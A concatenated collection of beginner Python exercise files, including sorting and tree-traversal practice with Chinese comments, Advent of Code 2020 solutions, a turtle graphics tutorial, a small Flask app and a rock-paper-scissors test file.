pos = self.partition(nums, left=left, right=right)
current_m_large = pos + 1
if k == current_m_large:
# 刚好 第k 大
return nums[pos]
elif k < current_m_large:
# 在前面继续找
right = pos - 1
else:
# 在 后面 继续 找
left = pos + 1
pass
@staticmethod
def partition(array: List[int], left: int, right: int) -> int:
"""
把 大的元素 放在 前面 ,小的元素 放到 后面.
array partition
xxx >= array[left] > xxxx
返回 这个 数组的小标
:param array:
:param left:
:param right:
:return:
"""
# 临时变量
temp = array[left]
while left < right:
while left < right and array[right] < temp:
right = right - 1
array[left] = array[right]
while left < right and array[left] >= temp:
left = left + 1
# 把大的数字 放到右边
array[right] = array[left]
array[left] = temp
return left
if __name__ == '__main__':
nums = [3, 2, 3, 1, 2, 4, 5, 5, 6]
s = Solution()
ret = s.findKthLargest(nums, k=4)
print(f"ret:{ret}")
nums = [3, 2, 1, 5, 6, 4]
rt = s.findKthLargest(nums, k=2)
print(f"ret:{rt}")
pass
|
9ce8a31ed3cedb1f9f097f1df67eb1b26eff07e7 | changyubiao/myalgorithm-demo | /classthree/5.py | 3,694 | 3.890625 | 4 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@Time : 2019/1/1 13:21
@File : 5.py
@Author : frank.chang@shoufuyou.com
转圈打印矩阵
【 题目5 】 给定一个整型矩阵matrix, 请按照转圈的方式打印它。
例如: 1 2 3 4
5 6 7 8
9 10 11 12
13 14 15 16
array=[
[ 1 2 3 4]
[ 5 6 7 8]
[ 9 10 11 12]
[13 14 15 16]
]
打印结果为: 1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9,5, 6, 7, 11, 10
【要求】 额外空间复杂度为O(1)
按顺时针方向 每一圈 进行遍历,之后 , 在内圈 也这样遍历, 最后结果就是 按照 顺时针的方向 进行遍历.
----- |
"""
import numpy as np
class Point:
""" Point
定义一个辅助的 数据结构 point
"""
def __init__(self, x, y):
self.x = x
self.y = y
def __str__(self):
return f"{self.__class__.__name__}({self.x},{self.y})"
__repr__ = __str__
def print_edge_old(matrix, a, b):
"""
first version
:param matrix: 矩阵
:param a: point a
:param b: point b
:return:
"""
X, Y = a.x, a.y
m, n = b.x, b.y
if X == m:
for i in range(Y, n + 1):
# 水平 方向
print(matrix[X][i], end=' ')
elif Y == n:
for i in range(X, m + 1):
# 竖直 方向
print(matrix[i][Y], end=' ')
else:
# 构成一个矩形
while a.y < b.y and Y < b.y:
print(matrix[a.x][Y], end=' ')
Y += 1
while a.x < b.x and X < b.x:
print(matrix[X][b.y], end=' ')
X += 1
# 重置 y 坐标
Y = n
while a.y < b.y and Y > a.y:
print(matrix[b.x][Y], end=' ')
Y -= 1
X = m
while a.x < b.x and X > a.x:
print(matrix[X][a.y], end=' ')
X -= 1
def print_edge(matrix, a, b):
"""
打印 最外围的 一圈 的边
:param matrix: 矩阵
:param a: point a
:param b: point b
:return:
"""
cur_index = a.x
cur_column = a.y
if a.x == b.x:
for i in range(a.y, b.y + 1):
# 水平 方向 [a.y,b.y] 进行打印
print(matrix[a.x][i], end=' ')
elif a.y == b.y:
for i in range(a.x, b.x + 1):
# 竖直 方向
print(matrix[i][a.y], end=' ')
else:
# 构成一个矩形 的情况
# --- 从左向右
while cur_column != b.y:
print(matrix[a.x][cur_column], end=' ')
cur_column += 1
# | 从上到下
while cur_index != b.x:
print(matrix[cur_index][b.y], end=' ')
cur_index += 1
# --- 从右向左
while cur_column != a.y:
print(matrix[b.x][cur_column], end=' ')
cur_column -= 1
# | 从下向上
while cur_index != a.x:
print(matrix[cur_index][a.y], end=' ')
cur_index -= 1
def print_matrix(matrix, a, b):
"""
:param matirx:
:param a: point
:param b: point
:return:
"""
while a.x <= b.x and a.y <= b.y:
print_edge(matrix, a, b)
a.x += 1
a.y += 1
b.x -= 1
b.y -= 1
def test_one():
matrix = np.arange(1, 16).reshape((5, 3))
A = Point(0, 0)
B = Point(4, 2)
print_matrix(matrix, A, B)
print(f"\nmatrix:\n{matrix}")
def test_two():
matrix = np.arange(1, 17).reshape((4, 4))
A = Point(0, 0)
B = Point(3, 3)
print_matrix(matrix, A, B)
print(f"\nmatrix:\n{matrix}")
if __name__ == '__main__':
test_one()
test_two()
pass
|
dac2fa508d94199d6b188da9c78742a2b6de26c6 | changyubiao/myalgorithm-demo | /classfour/1.py | 6,251 | 4.21875 | 4 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@Time : 2019/2/10 22:16
@File : 1.py
@Author : frank.chang@shoufuyou.com
二叉树相关练习
实现 二叉树的先序、中序、后序遍历,包括递归方式和非递归方式
"""
from util.stack import Stack
class Node:
"""
二叉树 结点
"""
def __init__(self, data):
self.value = data
self.left = None
self.right = None
def main():
"""
5
3 8
2 4 7 10
1 6 9 11
三种遍历方式如下:
5 3 2 1 4 8 7 6 10 9 11 ========pre-order ===========
1 2 3 4 5 6 7 8 9 10 11 ========in-order ===========
1 2 4 3 6 7 9 11 10 8 5 ========post-order===========
:return:
"""
head = Node(5)
head.left = Node(3)
head.right = Node(8)
head.left.left = Node(2)
head.left.right = Node(4)
head.left.left.left = Node(1)
head.right.left = Node(7)
head.right.left.left = Node(6)
head.right.right = Node(10)
head.right.right.left = Node(9)
head.right.right.right = Node(11)
print("\npre_order: ")
pre_order(head)
pre_order_stack(head)
# print("\nin_order: ")
# in_order(head)
#
# print("\npost_order: ")
# post_order(head)
pass
def pre_order(head: Node):
if head is None:
return
print(head.value, end=' ')
pre_order(head.left)
pre_order(head.right)
def in_order(head: Node):
if head is None:
return
in_order(head.left)
print("{}".format(head.value), end=' ')
in_order(head.right)
def post_order(head: Node):
if head is None:
return
post_order(head.left)
post_order(head.right)
print("{}".format(head.value), end=' ')
def pre_order_stack(head: Node):
"""
非递归的实现版本. 先序遍历
用辅助栈来实现 先序遍历 ,先压 head,之后,
循环条件: 栈不为空
把孩子的结点的 右边孩子有的话,压入栈中.
如果 有左孩子的话 , 也把结点压入栈中.
这样 之后 从栈中弹出的时候,就会先出栈的是做孩子, 之后 之后才是右孩子.
这样就可以实现先序遍历.
:param head:
:return:
"""
if head is not None:
print("\npre_order_stack: ")
stack = Stack()
stack.push(head)
while not stack.is_empty():
head = stack.pop()
print("{}".format(head.value), end=' ')
# 注意这里一定要先压右孩子,后压左孩子.
if head.right is not None:
stack.push(head.right)
if head.left is not None:
stack.push(head.left)
print("")
def in_order_stack(head: Node):
"""
中序遍历 非递归实现 left root right
中序遍历,首先呢,先要找到左边界,就是最左边的孩子, 如果不用递归实现,还是要用辅助栈来完成这个事情.
首先有一个 循环 来 控制 如何退出: 循环条件是: 栈不为空, 或者 head 不是空的. 两者 成立一个就可以了.
首先 如果 head 不为空,就把 head 压入 栈中, 之后 head 往左走一步,继续这样直到走到没有左孩子,开始把栈中的元素弹出.然后 打印出来.
之后 把 弹出结点的 的 右孩子压入栈中. 继续循环.
left root right
其实意思就是 先把 左边的左子树 压入栈中, 之后弹出,开始压入 右边的 孩子,如果 右孩子没有值, 栈中 弹一个元素出来.
当前结点 为空, 从栈中取一个元素,然后当前 结点开始向右走,
如果当前结点 不为空, 把当前结点 压入栈中, 结点开始向左走.
:return:
"""
if head is not None:
stack = Stack()
while not stack.is_empty() or head is not None:
if head is not None:
stack.push(head)
head = head.left
else:
# head is None,从栈中取结点,其实这个时候就是上一层结点.
head = stack.pop()
print("{}".format(head.value), end=' ')
head = head.right
print(" ")
def post_order_stack(head: Node):
"""
后序遍历 非递归的实现
可以借助 两个栈来实现:
help_stack 用来存放 结点的顺序为 root right left
可以借助先序遍历 思想 中 左右 ---> 中右左 ---> 之后借助 一个辅助栈,编程 左右中,这个就是后续遍历.
首先把 head 入栈, 之后进入循环,只要栈不为空,
取出栈顶元素, 压入到print_stack 中, 之后 在依次出栈就可以了.
help_stack 的作用 和先序遍历一个意思, 只是 先 压入左孩子, 之后 压入右孩子.
:param head:
:return:
"""
print_stack = Stack()
help_stack = Stack()
if head is not None:
print("post_order_stack: ")
help_stack.push(head)
while not help_stack.is_empty():
head = help_stack.pop()
print_stack.push(head)
# 先放入左边, 之后放右边的节点.
if head.left is not None:
help_stack.push(head.left)
if head.right is not None:
help_stack.push(head.right)
# end while
while not print_stack.is_empty():
cur = print_stack.pop()
print("{}".format(cur.value), end=' ')
def create_three():
head = Node(5)
head.left = Node(3)
head.right = Node(8)
head.left.left = Node(2)
head.left.right = Node(4)
head.left.left.left = Node(1)
head.right.left = Node(7)
head.right.left.left = Node(6)
head.right.right = Node(10)
head.right.right.left = Node(9)
head.right.right.right = Node(11)
return head
if __name__ == '__main__':
head = create_three()
# pre_order(head)
# print('===================')
# in_order(head)
#
# print('===================')
# post_order(head)
# print('===================')
# post_order_stack(head)
#
# print("\npost_order: ")
# post_order(head)
pass
|
eb07b756e4de5cda92741b93630997f9cbff01e5 | changyubiao/myalgorithm-demo | /classthree/1.py | 3,591 | 4 | 4 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@Time : 2018/12/16 14:48
@File : 1.py
@Author : frank.chang@shoufuyou.com
用数组结构 实现大小固定的队列和栈
1.实现 栈结构
2.实现 队列结构
"""
class ArrayToStack:
def __init__(self, init_size):
if init_size < 0:
raise ValueError("The init size is less than 0")
self.arr = [None] * init_size
# size 表示栈的容量,同时表示 将要 插入位置的index.
self.size = 0
def peek(self):
if self.size == 0:
return
return self.arr[self.size - 1]
def push(self, item):
"""
:param item:
:return:
"""
if self.size == len(self.arr):
raise IndexError("The stack is full")
# 入栈
self.arr[self.size] = item
self.size += 1
def pop(self):
if self.size == 0:
raise IndexError("The stack is empty")
self.size -= 1
return self.arr[self.size]
class ArrayQueue:
"""
end 做为入队列的索引 , 当end 达到 最大长度 的时候, 返回 0 位置,循环这样进行
start 做为出队列的索引, 当 start 达到 最大长度 的时候, 返回 0 位置,循环这样进行
put(self, item) 入队列
get 出队列
peek 返回队列 首元素
is_empty 判断队列 是否为空的, True , False
"""
def __init__(self, init_size):
if init_size < 0:
raise ValueError("The init size is less than 0")
self.end = 0
self.start = 0
self.arr = [None] * init_size
# 队列 当前 size
self.size = 0
def put(self, item):
"""
删除并返回队首的元素。如果队列为空则会抛异常.
:param item:
:return:
"""
if self.size == len(self.arr):
raise IndexError("The queue is full")
self.size += 1
self.arr[self.end] = item
self.end = 0 if self.end == self.length - 1 else self.end + 1
def is_empty(self):
return self.size == 0
@property
def length(self):
return len(self.arr)
def get(self):
"""
删除并返回队首的元素。如果队列为空则会抛异常。
Remove and return an item from the queue.
:return:
"""
if self.size == 0:
raise IndexError("The stack is empty")
# 这里要把队列的长度减1
self.size -= 1
tmp = self.start
self.start = 0 if self.start == self.length - 1 else self.start + 1
return self.arr[tmp]
def peek(self):
"""
返回队列 首 的元素
:return:
"""
if self.size == 0:
raise IndexError("The queue is empty")
return self.arr[self.start]
def test_stack():
stack = ArrayToStack(5)
stack.push(1)
stack.push(2)
stack.push(3)
stack.pop()
stack.pop()
stack.pop()
stack.pop()
def test_quque():
queue = ArrayQueue(4)
queue.put(1)
queue.put(2)
queue.put(3)
queue.get()
print(queue.peek())
queue.put(4)
print(queue.peek())
# while not queue.is_empty():
# print(queue.get())
if __name__ == '__main__':
pass
queue = ArrayQueue(4)
queue.put(1)
queue.put(2)
queue.put(3)
queue.get()
print(queue.peek())
queue.put(4)
print(queue.peek())
# while not queue.is_empty():
# print(queue.get())
# queue.put(1) |
2e5e728e42819ca386083f2dbd9ce51055d73fc6 | Clearyoi/adventofcode | /2020/6/part2.py | 438 | 3.703125 | 4 | def overallTotal( groups ):
return sum ( [ groupTotal( group ) for group in groups ] )
def groupTotal( group ):
people = group.split( '\n' )
answers = people[0]
for person in people:
for answer in answers:
if answer not in person:
answers = answers.replace( answer, '' )
return len( answers )
groups = [ x for x in open( "input.txt" ).read().strip().split( '\n\n' ) ]
print( 'Total: {}'.format( overallTotal ( groups ) ) ) |
135aec9f9fa998bda9a1782d1091dba08fa5b7e6 | Clearyoi/adventofcode | /2020/7/part1.py | 833 | 3.53125 | 4 | def parseBags( bagsRaw ):
bags = []
for bag in bagsRaw:
bags.append( ( bag[0].split()[0] + bag[0].split()[1], [ x.split()[1] + x.split()[2] for x in bag[1] ] ) )
return bags
def findOuterBagsInner( bags, seeking ):
newSeeking = seeking.copy()
for bag in bags:
for seek in seeking:
if seek in bag[1]:
newSeeking.add(bag[0])
if newSeeking == seeking:
return len(newSeeking) - 1
return findOuterBagsInner( bags, newSeeking )
def findOuterBags( bagsRaw, goal ):
bags = parseBags ( bagsRaw )
seeking = set()
seeking.add(goal)
return findOuterBagsInner( bags, seeking )
bagsRaw = [ ( x.split( 'contain' )[0], x.split( 'contain' )[1].split( ',' ) )for x in open( "input.txt" ).read().strip().split( '\n' ) ]
print( "Number of bags which can contain my bag: {}".format( findOuterBags( bagsRaw, "shinygold" ) ) )
|
8d852b9ba3fb4403dc783cc6c703c451ee0197f7 | Pranav-Tumminkatti/Python-Turtle-Graphics | /Turtle Graphics Tutorial.py | 979 | 4.40625 | 4 | #Turtle Graphics in Pygame
#Reference: https://docs.python.org/2/library/turtle.html
#Reference: https://michael0x2a.com/blog/turtle-examples
#Very Important Reference: https://realpython.com/beginners-guide-python-turtle/
import turtle
tim = turtle.Turtle() #set item type
tim.color('red') #set colour
tim.pensize(5) #set thickness of line
tim.shape('turtle')
tim.forward(100) #turtle moves 100 pixels forward
tim.left(90) #turtle turns left 90 degrees
tim.forward(100)
tim.right(90)
tim.forward(100)
tim.penup() #lifts the pen up - turtle is moving but line is not drawn
tim.left(90)
tim.forward(100)
tim.right(90)
tim.pendown() #puts the pen back down
tim.forward(100)
tim.left(90)
tim.penup()
tim.forward(50)
tim.left(90)
tim.pendown()
tim.color('green') #changes the colour of the line to green
tim.forward(100)
#Making a new object named dave
dave = turtle.Turtle()
dave.color('blue')
dave.pensize(10)
dave.shape('arrow')
dave.backward(100)
dave.speed(1)
|
ec2c17082037d296706d9659c6a56709b4027d48 | namitanair0201/leetcode | /rotateMatrix.py | 759 | 3.875 | 4 | class Solution(object):
def rotate(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: None Do not return anything, modify matrix in-place instead.
[
[1,2,3],
[4,5,6],
[7,8,9]
],
rotate the input matrix in-place such that it becomes:
[
[7,4,1],
[8,5,2],
[9,6,3]
]
"""
n= len(matrix)
for i in range(n):
for j in range(n):
if i<j:
matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]
for i in matrix:
i.reverse()
if __name__ == "__main__":
Solution().rotate([[1,2,3],[4,5,6,],[7,8,9]]) |
78f4b8b8aa2eb93a5daf00dfb0e3077df20a217e | sAnjali12/BsicasPythonProgrammas | /python/if1.py | 123 | 4.03125 | 4 | number = input("enter your no.")
num = int(number)
if num<10:
print "small hai"
elif num>10 or num<20:
print "yeeeeeeee"
|
d58cd85ebb232f5540e8cde005f1352d9fb8e2e4 | sAnjali12/BsicasPythonProgrammas | /python/reportAvarage.py | 386 | 3.5625 | 4 | marks = [
[78, 76, 94, 86, 88],
[91, 71, 98, 65, 76],
[95, 45, 78, 52, 49]]
index = 0
total_sum=0
while index<len(marks):
j = 0
sum=0
count = 0
while j<len(marks[index]):
sum = sum+marks[index][j]
count = count+1
average = sum/count
j = j+1
print sum
print average
total_sum=total_sum+sum
index = index+1
print total_sum
#print average
|
b68c9db55ce6af793f0fc36505e12e741c497c31 | sAnjali12/BsicasPythonProgrammas | /python/userInput_PrimeNum.py | 339 | 4.1875 | 4 | start_num = int(input("enter your start number"))
end_num = int(input("enter your end number"))
while (start_num<=end_num):
count = 0
i = 2
while (i<=start_num/2):
if (start_num):
print "number is not prime"
count = count+1
break
i = i+1
if (count==0 and start_num!=1):
print "prime number"
start_num = start_num+1
|
0c2c3eaca985cb68fc6a58e24ffaea257dbb89ad | sAnjali12/BsicasPythonProgrammas | /python/sum.py | 421 | 3.75 | 4 | elements = [23, 14, 56, 12, 19, 9, 15, 25, 31, 42, 43]
index = 0
sum1 = 0
sum2 = 0
count1 = 0
count2 = 0
while index<len(elements):
if elements[index]%2==0:
count1 = count1+1
sum1 = sum1+elements[index]
else:
count2 = count2+1
sum2 = sum2+elements[index]
index = index+1
even_average = sum1/count1
odd_averae = sum2/count2
print "EVEN AVERAGE:)___",even_average
print "ODD AVERAGE:)_______",odd_aerage
|
932faa7f15b06df9c922ff7b84c74853d869a93a | isaacgs95/Kata1 | /kata2/programa_2_4.py | 270 | 4 | 4 | '''
Escribir un programa que pida al usuario un número entero positivo y muestre por pantalla la
cuenta atrás desde ese número hasta cero separados por comas.
'''
numero = int(input("Introduce un número: "))
for i in range(numero, -1, -1):
print(i, end=", ")
|
3750e8f1fc7137dddda348c755655db99026922b | xilaluna/web1.1-homework-1-req-res-flask | /app.py | 1,335 | 4.21875 | 4 |
# TODO: Follow the assignment instructions to complete the required routes!
# (And make sure to delete this TODO message when you're done!)
from flask import Flask
app = Flask(__name__)
@app.route('/')
def home():
"""Shows a greeting to the user."""
return f'Are you there, world? It\'s me, Ducky!'
@app.route('/frog')
def my_favorite_animal():
"""shows user my favorite animal"""
return f'Frogs are cute!'
@app.route('/dessert/<users_dessert>')
def favorite_dessert(users_dessert):
return f'How did you know I liked {users_dessert}'
@app.route('/madlibs/<adjective>/<noun>')
def mad_libs(adjective, noun):
return f'That is one {adjective} {noun}'
@app.route('/multiply/<number1>/<number2>')
def multiply(number1, number2):
if (number1.isdigit() == True) & (number2.isdigit() == True):
answer = int(number1) * int(number2)
return answer
else:
return "Invalid inputs. Please try again by entering 2 numbers!"
@app.route('/sayntimes/<word>/<number>')
def sayntimes(word, number):
if number.isdigit() == True:
string = ""
for word in range(int(number)):
string += str(word)
return
else:
return f"Invalid input. Please try again by entering a word and a number!"
if __name__ == '__main__':
app.run(debug=True)
|
9d0241b8b9a5d399ca4334a5cd95caefd6284651 | ecoBela/flask_app_game_wk3_wkend_hw | /app/tests/test_game.py | 1,709 | 3.875 | 4 | import unittest
from app.models.game import Game
from app.models.games import *
from app.models.player import Player
class TestGame(unittest.TestCase):
def setUp(self):
self.player1 = Player("Socrates", "Rock")
self.player2 = Player("Plato", "Paper")
self.player3 = Player("Aristotle", "Scissors")
self.player4 = Player("Captain Marvel", "Rock")
self.game1 = Game([self.player1, self.player2])
def test_game_has_players(self):
self.assertEqual([], self.game1.players)
def test_choose_rock_over_scissors(self):
# result = choose_winner(self.player1, self.player3)
# self.assertEqual(self.player1, result)
result = choose_winner(self.player1, self.player3)
self.assertEqual(f"{player1.name} chose Rock and is the winner!", result)
result = choose_winner(self.player1, self.player2)
self.assertEqual(f"{player2.name} chose {player2.move} and is the winner!", result)
result = choose_winner(self.player3, self.player1)
self.assertEqual(f"{player1.name} chose {player1.move} and is the winner!", result)
def test_choose_scissors_over_paper(self):
result = choose_winner(self.player3, self.player2)
self.assertEqual(f"{self.player3.name} chose {player3.move} and is the winner!", result)
result = choose_winner(self.player3, self.player1)
self.assertEqual(f"{player1.name} chose {player1.move} and is the winner!", result)
def test_it_is_a_draw(self):
result = choose_winner(self.player1, self.player4)
self.assertEqual(f"{player1.name} and {player4.name} made the same move. It's a draw!", result)
|
71e703749e9420528dd2dc48e8d89d4f5d7da8ce | Davidrbl/python-6 | /Room.py | 1,129 | 3.53125 | 4 | class Room:
def __init__(self, _name, _exits=[], _items=[], _people=[]):
self.exits = _exits
self.items = _items
self.people = _people
self.name = _name
def add_exit(self, room):
self.exits.append(room)
def describe(self, game):
game.printHeader()
#Naam generaten
game.printRegel("Je bent nu in: " + self.name)
#Zeggen wat erin is
game.printRegel(game.show_list(self.items, "Items in this room"))
game.printRegel(game.show_list(self.people, "People in this room"))
game.printRegel(game.show_list(self.exits, "Exits"))
game.printFooter()
def add_item(self, item):
self.items.append(item)
def add_person(self, person):
self.people.append(person)
def getExits(self):
return self.exits
def setExits(self, exits):
self.exits = exits
def getItems(self):
return self.items
def setItems(self, items):
self.items = items
def getPeople(self):
return self.people
def setPeople(self, people):
self.people = people
|
d0beb6a3f23b2a9337b60dd68d6083c1c60873ed | DanielFlores23/Tareas | /multiplicacion2.py | 536 | 3.84375 | 4 | for indice in range (32,36):
print("Tabla de ", inndice
for elemento in range(1,11):
resultado = indice * elemento
print("{2} x {0} = {1}".format(elemento,resultado,indice))
print()
print()
print("Otros Valores")
print()
tablas= [21, 34, 54, 65, 76]
for indice in tablas:
print("Tabla del ", indice)
for elemento in range(1,11):
resultado = indice * elemento
print("{2} x {0} = {1}".format(elemento,resultado,indice))
print()
|
715634e01c2a166e581c9fa0554218ef11072444 | terryjungtj/OpenCV_Practice | /04-shapesAndTexts.py | 1,212 | 3.671875 | 4 | # Shapes and Texts
import cv2
import numpy as np
print("Package Imported")
img = np.zeros((512, 512, 3), np.uint8) # matrix of 0 (black)
# img[:] = 255, 0, 0 # change all the pixels in the matrix to blue
cv2.line(img, (0,0), (300,300), (0,255,0), 3) # draw a line (image, starting point, ending point(user defined), colour, thickness)
# cv2.line(img, (0,0), (img.shape[1],img.shape[0]), (0,255,0), 3) # draw a line (image, starting point, ending point, colour, thickness)
cv2.rectangle(img, (0,0), (250,350), (0,0,255), 3) # draw a rectangle (image, starting point, ending point(user defined), colour, thickness)
# cv2.rectangle(img, (0,0), (250,350), (0,0,255), cv2.FILLED) # draw a rectangle (image, starting point, ending point(user defined), colour, filled)
cv2.circle(img, (400, 50), 30, (255, 0, 0), 3) # draw a circle (image, centre point, radius(user defined), colour, thickness)
cv2.putText(img, "OPENCV", (300,100), cv2.FONT_ITALIC, 1, (0,250,0), 1) # insert text (image, text, position, font, scale, colour, thickness)
cv2.imshow("Image", img)
cv2.waitKey(0) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.